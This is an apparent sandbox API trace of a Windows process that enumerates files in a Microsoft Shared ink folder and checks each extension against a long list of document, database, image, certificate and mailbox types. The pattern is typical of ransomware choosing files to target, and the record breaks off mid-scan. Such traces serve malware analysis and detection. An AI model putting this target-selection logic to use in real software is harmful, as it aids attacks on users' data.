lstrlenW (lpString=".fido") returned 5 [0087.505] lstrcmpiW (lpString1=".fido", lpString2="l.mui") returned -1 [0087.505] lstrlenW (lpString=".flm") returned 4 [0087.505] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0087.505] lstrlenW (lpString=".flv") returned 4 [0087.505] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0087.505] lstrlenW (lpString=".frm") returned 4 [0087.505] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0087.505] lstrlenW (lpString=".fxg") returned 4 [0087.505] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0087.505] lstrlenW (lpString=".geo") returned 4 [0087.505] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0087.505] lstrlenW (lpString=".gif") returned 4 [0087.505] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0087.505] lstrlenW (lpString=".grs") returned 4 [0087.505] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0087.505] lstrlenW (lpString=".gz") returned 3 [0087.505] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0087.505] lstrlenW (lpString=".h") returned 2 [0087.505] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0087.505] lstrlenW (lpString=".hdr") returned 4 [0087.505] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0087.505] lstrlenW (lpString=".hpp") returned 4 [0087.505] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0087.505] lstrlenW (lpString=".hta") returned 4 [0087.505] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0087.505] lstrlenW (lpString=".htc") returned 4 [0087.505] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0087.505] lstrlenW (lpString=".htm") returned 4 [0087.505] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0087.505] lstrlenW (lpString=".html") returned 5 [0087.505] lstrcmpiW (lpString1=".html", lpString2="l.mui") returned -1 [0087.505] lstrlenW (lpString=".icb") returned 4 [0087.505] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0087.505] lstrlenW (lpString=".ics") returned 4 [0087.506] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0087.506] lstrlenW (lpString=".iff") returned 4 [0087.506] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0087.506] lstrlenW (lpString=".inc") returned 4 [0087.506] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0087.506] lstrlenW (lpString=".indd") returned 5 [0087.506] lstrcmpiW (lpString1=".indd", lpString2="l.mui") returned -1 [0087.506] lstrlenW (lpString=".ini") returned 4 [0087.506] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0087.506] lstrlenW (lpString=".iqy") returned 4 [0087.506] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0087.506] lstrlenW (lpString=".j2c") returned 4 [0087.506] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0087.506] lstrlenW (lpString=".j2k") returned 4 [0087.506] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0087.506] lstrlenW (lpString=".java") returned 5 [0087.506] lstrcmpiW (lpString1=".java", lpString2="l.mui") returned -1 [0087.506] lstrlenW (lpString=".jp2") returned 4 [0087.506] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0087.506] lstrlenW (lpString=".jpc") returned 4 [0087.506] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0087.506] lstrlenW (lpString=".jpe") returned 4 [0087.506] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0087.506] lstrlenW (lpString=".jpeg") returned 5 [0087.506] lstrcmpiW (lpString1=".jpeg", lpString2="l.mui") returned -1 [0087.506] lstrlenW (lpString=".jpf") returned 4 [0087.506] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0087.506] lstrlenW (lpString=".jpg") returned 4 [0087.506] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0087.506] lstrlenW (lpString=".jpx") returned 4 [0087.506] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0087.506] lstrlenW (lpString=".js") returned 3 [0087.506] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0087.506] lstrlenW (lpString=".jsf") returned 4 [0087.506] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0087.506] lstrlenW (lpString=".json") returned 5 [0087.506] lstrcmpiW (lpString1=".json", lpString2="l.mui") returned -1 [0087.506] lstrlenW (lpString=".jsp") returned 4 [0087.506] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0087.506] lstrlenW (lpString=".kdc") returned 4 [0087.506] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0087.506] lstrlenW (lpString=".kmz") returned 4 [0087.506] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0087.506] lstrlenW (lpString=".kwm") returned 4 [0087.506] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0087.506] lstrlenW (lpString=".lasso") returned 6 [0087.506] lstrcmpiW (lpString1=".lasso", lpString2="ll.mui") returned -1 [0087.506] lstrlenW (lpString=".lbi") returned 4 [0087.506] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0087.506] lstrlenW (lpString=".lgf") returned 4 [0087.506] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0087.507] lstrlenW (lpString=".lgp") returned 4 [0087.507] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0087.507] lstrlenW (lpString=".log") returned 4 [0087.507] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0087.507] lstrlenW (lpString=".m1v") returned 4 [0087.507] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0087.507] lstrlenW (lpString=".m4a") returned 4 [0087.507] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0087.507] lstrlenW (lpString=".m4v") returned 4 [0087.507] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0087.507] lstrlenW (lpString=".max") returned 4 [0087.507] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0087.507] lstrlenW (lpString=".md") returned 3 [0087.507] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0087.507] lstrlenW (lpString=".mda") returned 4 [0087.507] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0087.507] lstrlenW (lpString=".mdb") returned 4 [0087.507] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0087.507] lstrlenW (lpString=".mde") returned 4 [0087.507] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0087.507] lstrlenW (lpString=".mdf") returned 4 [0087.507] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0087.507] lstrlenW (lpString=".mdw") returned 4 [0087.507] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0087.507] lstrlenW (lpString=".mef") returned 4 [0087.507] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0087.507] lstrlenW (lpString=".mft") returned 4 [0087.507] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0087.507] lstrlenW (lpString=".mfw") returned 4 [0087.507] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0087.507] lstrlenW (lpString=".mht") returned 4 [0087.507] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0087.507] lstrlenW (lpString=".mhtml") returned 6 [0087.507] lstrcmpiW (lpString1=".mhtml", lpString2="ll.mui") returned -1 [0087.507] lstrlenW (lpString=".mka") returned 4 [0087.507] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0087.507] lstrlenW (lpString=".mkidx") returned 6 [0087.507] lstrcmpiW (lpString1=".mkidx", lpString2="ll.mui") returned -1 [0087.507] lstrlenW (lpString=".mkv") returned 4 [0087.507] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0087.507] lstrlenW (lpString=".mos") returned 4 [0087.507] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0087.507] lstrlenW (lpString=".mov") returned 4 [0087.507] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0087.507] lstrlenW (lpString=".mp3") returned 4 [0087.507] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0087.507] lstrlenW (lpString=".mp4") returned 4 [0087.507] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0087.507] lstrlenW (lpString=".mpeg") returned 5 [0087.507] lstrcmpiW (lpString1=".mpeg", lpString2="l.mui") returned -1 [0087.507] lstrlenW (lpString=".mpg") returned 4 [0087.507] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0087.507] lstrlenW (lpString=".mpv") returned 4 [0087.507] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0087.507] lstrlenW (lpString=".mrw") returned 4 [0087.507] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0087.507] lstrlenW (lpString=".msg") returned 4 [0087.508] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0087.508] lstrlenW (lpString=".mxl") returned 4 [0087.508] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0087.508] lstrlenW (lpString=".myd") returned 4 [0087.508] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0087.508] lstrlenW (lpString=".myi") returned 4 [0087.508] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0087.508] lstrlenW (lpString=".nef") returned 4 [0087.508] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0087.508] lstrlenW (lpString=".nrw") returned 4 [0087.508] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0087.508] lstrlenW (lpString=".obj") returned 4 [0087.508] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0087.508] lstrlenW (lpString=".odb") returned 4 [0087.508] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0087.508] lstrlenW (lpString=".odc") returned 4 [0087.508] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0087.508] lstrlenW (lpString=".odm") returned 4 [0087.508] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0087.508] lstrlenW (lpString=".odp") returned 4 [0087.508] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0087.508] lstrlenW (lpString=".ods") returned 4 [0087.508] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0087.508] lstrlenW (lpString=".oft") returned 4 [0087.508] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0087.508] lstrlenW (lpString=".one") returned 4 [0087.508] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0087.508] lstrlenW (lpString=".onepkg") returned 7 [0087.508] lstrcmpiW (lpString1=".onepkg", lpString2="dll.mui") returned -1 [0087.508] lstrlenW (lpString=".onetoc2") returned 8 [0087.508] lstrcmpiW (lpString1=".onetoc2", lpString2=".dll.mui") returned 1 [0087.508] lstrlenW (lpString=".opt") returned 4 [0087.508] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0087.508] lstrlenW (lpString=".oqy") returned 4 [0087.508] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0087.508] lstrlenW (lpString=".orf") returned 4 [0087.508] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0087.508] lstrlenW (lpString=".p12") returned 4 [0087.508] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0087.508] lstrlenW (lpString=".p7b") returned 4 [0087.508] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0087.508] lstrlenW (lpString=".p7c") returned 4 [0087.508] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0087.508] lstrlenW (lpString=".pam") returned 4 [0087.508] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0087.508] lstrlenW (lpString=".pbm") returned 4 [0087.508] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0087.508] lstrlenW (lpString=".pct") returned 4 [0087.508] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0087.508] lstrlenW (lpString=".pcx") returned 4 [0087.508] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0087.509] lstrlenW (lpString=".pdd") returned 4 [0087.509] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0087.509] lstrlenW (lpString=".pdf") returned 4 [0087.509] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0087.509] lstrlenW (lpString=".pdp") returned 4 [0087.509] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0087.509] lstrlenW (lpString=".pef") returned 4 [0087.509] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0087.509] lstrlenW (lpString=".pem") returned 4 [0087.509] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0087.509] lstrlenW (lpString=".pff") returned 4 [0087.509] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0087.509] lstrlenW (lpString=".pfm") returned 4 [0087.509] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0087.509] lstrlenW (lpString=".pfx") returned 4 [0087.509] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0087.509] lstrlenW (lpString=".pgm") returned 4 [0087.509] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0087.509] lstrlenW (lpString=".php") returned 4 [0087.509] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0087.509] lstrlenW (lpString=".php3") returned 5 [0087.509] lstrcmpiW (lpString1=".php3", lpString2="l.mui") returned -1 [0087.509] lstrlenW (lpString=".php4") returned 5 [0087.509] lstrcmpiW (lpString1=".php4", lpString2="l.mui") returned -1 [0087.509] lstrlenW (lpString=".php5") returned 5 [0087.509] lstrcmpiW (lpString1=".php5", lpString2="l.mui") returned -1 [0087.509] lstrlenW (lpString=".phtml") returned 6 [0087.509] lstrcmpiW (lpString1=".phtml", lpString2="ll.mui") returned -1 [0087.509] lstrlenW (lpString=".pict") returned 5 [0087.509] lstrcmpiW (lpString1=".pict", lpString2="l.mui") returned -1 [0087.509] lstrlenW (lpString=".pl") returned 3 [0087.509] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0087.509] lstrlenW (lpString=".pls") returned 4 [0087.509] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0087.509] lstrlenW (lpString=".pm") returned 3 [0087.509] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0087.509] lstrlenW (lpString=".png") returned 4 [0087.509] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0087.509] lstrlenW (lpString=".pnm") returned 4 [0087.509] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0087.509] lstrlenW (lpString=".pot") returned 4 [0087.509] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0087.509] lstrlenW (lpString=".potm") returned 5 [0087.509] lstrcmpiW (lpString1=".potm", lpString2="l.mui") returned -1 [0087.509] lstrlenW (lpString=".potx") returned 5 [0087.510] lstrcmpiW (lpString1=".potx", lpString2="l.mui") returned -1 [0087.510] lstrlenW (lpString=".ppa") returned 4 [0087.510] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0087.510] lstrlenW (lpString=".ppam") returned 5 [0087.510] lstrcmpiW (lpString1=".ppam", lpString2="l.mui") returned -1 [0087.510] lstrlenW (lpString=".ppm") returned 4 [0087.510] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0087.510] lstrlenW (lpString=".pps") returned 4 [0087.510] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0087.510] lstrlenW (lpString=".ppsm") returned 5 [0087.510] lstrcmpiW (lpString1=".ppsm", lpString2="l.mui") returned -1 [0087.510] lstrlenW (lpString=".ppt") returned 4 [0087.510] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0087.510] lstrlenW (lpString=".pptm") returned 5 [0087.510] lstrcmpiW (lpString1=".pptm", lpString2="l.mui") returned -1 [0087.510] lstrlenW (lpString=".pptx") returned 5 [0087.510] lstrcmpiW (lpString1=".pptx", lpString2="l.mui") returned -1 [0087.510] lstrlenW (lpString=".prn") returned 4 [0087.510] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0087.510] lstrlenW (lpString=".ps") returned 3 [0087.510] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0087.510] lstrlenW (lpString=".psb") returned 4 [0087.510] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0087.510] lstrlenW (lpString=".psd") returned 4 [0087.510] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0087.510] lstrlenW (lpString=".pst") returned 4 [0087.510] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0087.510] lstrlenW (lpString=".ptx") returned 4 [0087.510] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0087.510] lstrlenW (lpString=".pub") returned 4 [0087.510] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0087.510] lstrlenW (lpString=".pwm") returned 4 [0087.510] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0087.510] lstrlenW (lpString=".pxr") returned 4 [0087.510] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0087.510] lstrlenW (lpString=".py") returned 3 [0087.510] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0087.510] lstrlenW (lpString=".qt") returned 3 [0087.510] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0087.510] lstrlenW (lpString=".r3d") returned 4 [0087.510] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0087.510] FindNextFileW (in: hFindFile=0x562470, lpFindFileData=0x379f094 | out: lpFindFileData=0x379f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0087.510] FindClose (in: hFindFile=0x562470 | out: hFindFile=0x562470) returned 1 [0087.511] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4031060 | out: hHeap=0x4f0000) returned 1 [0087.511] FindNextFileW (in: hFindFile=0x5622b0, lpFindFileData=0x379f310 | out: lpFindFileData=0x379f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0087.511] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4031060 [0087.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US") returned 56 [0087.511] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*", lpFindFileData=0x379f094 | out: lpFindFileData=0x379f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x562470 [0087.512] FindNextFileW (in: hFindFile=0x562470, lpFindFileData=0x379f094 | out: lpFindFileData=0x379f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.512] FindNextFileW (in: hFindFile=0x562470, lpFindFileData=0x379f094 | out: lpFindFileData=0x379f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a407849, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9a407849, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x9a407849, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1 [0087.512] lstrlenW (lpString="boxed-correct.avi") returned 17 [0087.512] lstrlenW (lpString=".1cd") returned 4 [0087.512] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0087.512] lstrlenW (lpString=".3ds") returned 4 [0087.512] lstrcmpiW (lpString1=".3ds", lpString2=".avi") returned -1 [0087.512] lstrlenW (lpString=".3fr") returned 4 [0087.512] lstrcmpiW (lpString1=".3fr", lpString2=".avi") returned -1 [0087.512] lstrlenW (lpString=".3g2") returned 4 [0087.512] lstrcmpiW (lpString1=".3g2", lpString2=".avi") returned -1 [0087.512] lstrlenW (lpString=".3gp") returned 4 [0087.512] lstrcmpiW (lpString1=".3gp", lpString2=".avi") returned -1 [0087.512] lstrlenW (lpString=".7z") returned 3 [0087.512] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0087.512] lstrlenW (lpString=".accda") returned 6 [0087.512] lstrcmpiW (lpString1=".accda", lpString2="ct.avi") returned -1 [0087.512] lstrlenW (lpString=".accdb") returned 6 [0087.512] lstrcmpiW (lpString1=".accdb", lpString2="ct.avi") returned -1 [0087.512] lstrlenW (lpString=".accdc") returned 6 [0087.512] lstrcmpiW (lpString1=".accdc", lpString2="ct.avi") returned -1 [0087.512] lstrlenW (lpString=".accde") returned 6 [0087.512] lstrcmpiW (lpString1=".accde", lpString2="ct.avi") returned -1 [0087.512] lstrlenW (lpString=".accdt") returned 6 [0087.512] lstrcmpiW (lpString1=".accdt", lpString2="ct.avi") returned -1 [0087.512] lstrlenW (lpString=".accdw") returned 6 [0087.512] lstrcmpiW (lpString1=".accdw", lpString2="ct.avi") returned -1 [0087.512] lstrlenW (lpString=".adb") returned 4 [0087.512] lstrcmpiW (lpString1=".adb", lpString2=".avi") returned -1 [0087.512] lstrlenW (lpString=".adp") returned 4 [0087.512] lstrcmpiW (lpString1=".adp", lpString2=".avi") returned -1 [0087.512] lstrlenW (lpString=".ai") returned 3 [0087.512] lstrcmpiW (lpString1=".ai", lpString2="avi") returned -1 [0087.512] lstrlenW (lpString=".ai3") returned 4 [0087.513] lstrcmpiW (lpString1=".ai3", lpString2=".avi") returned -1 [0087.513] lstrlenW (lpString=".ai4") returned 4 [0087.513] lstrcmpiW (lpString1=".ai4", lpString2=".avi") returned -1 [0087.513] lstrlenW (lpString=".ai5") returned 4 [0087.513] lstrcmpiW (lpString1=".ai5", lpString2=".avi") returned -1 [0087.513] lstrlenW (lpString=".ai6") returned 4 [0087.513] lstrcmpiW (lpString1=".ai6", lpString2=".avi") returned -1 [0087.513] lstrlenW (lpString=".ai7") returned 4 [0087.513] lstrcmpiW (lpString1=".ai7", lpString2=".avi") returned -1 [0087.513] lstrlenW (lpString=".ai8") returned 4 [0087.513] lstrcmpiW (lpString1=".ai8", lpString2=".avi") returned -1 [0087.513] lstrlenW (lpString=".anim") returned 5 [0087.513] lstrcmpiW (lpString1=".anim", lpString2="t.avi") returned -1 [0087.513] lstrlenW (lpString=".arw") returned 4 [0087.513] lstrcmpiW (lpString1=".arw", lpString2=".avi") returned -1 [0087.513] lstrlenW (lpString=".as") returned 3 [0087.513] lstrcmpiW (lpString1=".as", lpString2="avi") returned -1 [0087.513] lstrlenW (lpString=".asa") returned 4 [0087.513] lstrcmpiW (lpString1=".asa", lpString2=".avi") returned -1 [0087.513] lstrlenW (lpString=".asc") returned 4 [0087.513] lstrcmpiW (lpString1=".asc", lpString2=".avi") returned -1 [0087.513] lstrlenW (lpString=".ascx") returned 5 [0087.513] lstrcmpiW (lpString1=".ascx", lpString2="t.avi") returned -1 [0087.513] lstrlenW (lpString=".asm") returned 4 [0087.513] lstrcmpiW (lpString1=".asm", lpString2=".avi") returned -1 [0087.513] lstrlenW (lpString=".asmx") returned 5 [0087.513] lstrcmpiW (lpString1=".asmx", lpString2="t.avi") returned -1 [0087.513] lstrlenW (lpString=".asp") returned 4 [0087.513] lstrcmpiW (lpString1=".asp", lpString2=".avi") returned -1 [0087.513] lstrlenW (lpString=".aspx") returned 5 [0087.513] lstrcmpiW (lpString1=".aspx", lpString2="t.avi") returned -1 [0087.513] lstrlenW (lpString=".asr") returned 4 [0087.513] lstrcmpiW (lpString1=".asr", lpString2=".avi") returned -1 [0087.513] lstrlenW (lpString=".asx") returned 4 [0087.513] lstrcmpiW (lpString1=".asx", lpString2=".avi") returned -1 [0087.513] lstrlenW (lpString=".avi") returned 4 [0087.513] lstrcmpiW (lpString1=".avi", lpString2=".avi") returned 0 [0087.513] FindNextFileW (in: hFindFile=0x562470, lpFindFileData=0x379f094 | out: lpFindFileData=0x379f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23b3de0, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23b3de0, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a49fdc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1 [0087.513] lstrlenW (lpString="boxed-delete.avi") returned 16 [0087.513] lstrlenW (lpString=".1cd") returned 4 [0087.513] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0087.513] lstrlenW (lpString=".3ds") returned 4 [0087.513] lstrcmpiW (lpString1=".3ds", lpString2=".avi") returned -1 [0087.513] lstrlenW (lpString=".3fr") returned 4 [0087.513] lstrcmpiW (lpString1=".3fr", lpString2=".avi") returned -1 [0087.513] lstrlenW (lpString=".3g2") returned 4 [0087.513] lstrcmpiW (lpString1=".3g2", lpString2=".avi") returned -1 [0087.513] lstrlenW (lpString=".3gp") returned 4 [0087.513] lstrcmpiW (lpString1=".3gp", lpString2=".avi") returned -1 [0087.513] lstrlenW (lpString=".7z") returned 3 [0087.513] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0087.513] lstrlenW (lpString=".accda") returned 6 [0087.513] lstrcmpiW (lpString1=".accda", lpString2="te.avi") returned -1 [0087.514] lstrlenW (lpString=".accdb") returned 6 [0087.514] lstrcmpiW (lpString1=".accdb", lpString2="te.avi") returned -1 [0087.514] lstrlenW (lpString=".accdc") returned 6 [0087.514] lstrcmpiW (lpString1=".accdc", lpString2="te.avi") returned -1 [0087.514] lstrlenW (lpString=".accde") returned 6 [0087.514] lstrcmpiW (lpString1=".accde", lpString2="te.avi") returned -1 [0087.514] lstrlenW (lpString=".accdt") returned 6 [0087.514] lstrcmpiW (lpString1=".accdt", lpString2="te.avi") returned -1 [0087.514] lstrlenW (lpString=".accdw") returned 6 [0087.514] lstrcmpiW (lpString1=".accdw", lpString2="te.avi") returned -1 [0087.514] lstrlenW (lpString=".adb") returned 4 [0087.514] lstrcmpiW (lpString1=".adb", lpString2=".avi") returned -1 [0087.514] lstrlenW (lpString=".adp") returned 4 [0087.514] lstrcmpiW (lpString1=".adp", lpString2=".avi") returned -1 [0087.514] lstrlenW (lpString=".ai") returned 3 [0087.514] lstrcmpiW (lpString1=".ai", lpString2="avi") returned -1 [0087.514] lstrlenW (lpString=".ai3") returned 4 [0087.514] lstrcmpiW (lpString1=".ai3", lpString2=".avi") returned -1 [0087.514] lstrlenW (lpString=".ai4") returned 4 [0087.514] lstrcmpiW (lpString1=".ai4", lpString2=".avi") returned -1 [0087.514] lstrlenW (lpString=".ai5") returned 4 [0087.514] lstrcmpiW (lpString1=".ai5", lpString2=".avi") returned -1 [0087.514] lstrlenW (lpString=".ai6") returned 4 [0087.514] lstrcmpiW (lpString1=".ai6", lpString2=".avi") returned -1 [0087.514] lstrlenW (lpString=".ai7") returned 4 [0087.514] lstrcmpiW (lpString1=".ai7", lpString2=".avi") returned -1 [0087.514] lstrlenW (lpString=".ai8") returned 4 [0087.514] lstrcmpiW (lpString1=".ai8", lpString2=".avi") returned -1 [0087.514] lstrlenW (lpString=".anim") returned 5 [0087.514] lstrcmpiW (lpString1=".anim", lpString2="e.avi") returned -1 [0087.514] lstrlenW (lpString=".arw") returned 4 [0087.514] 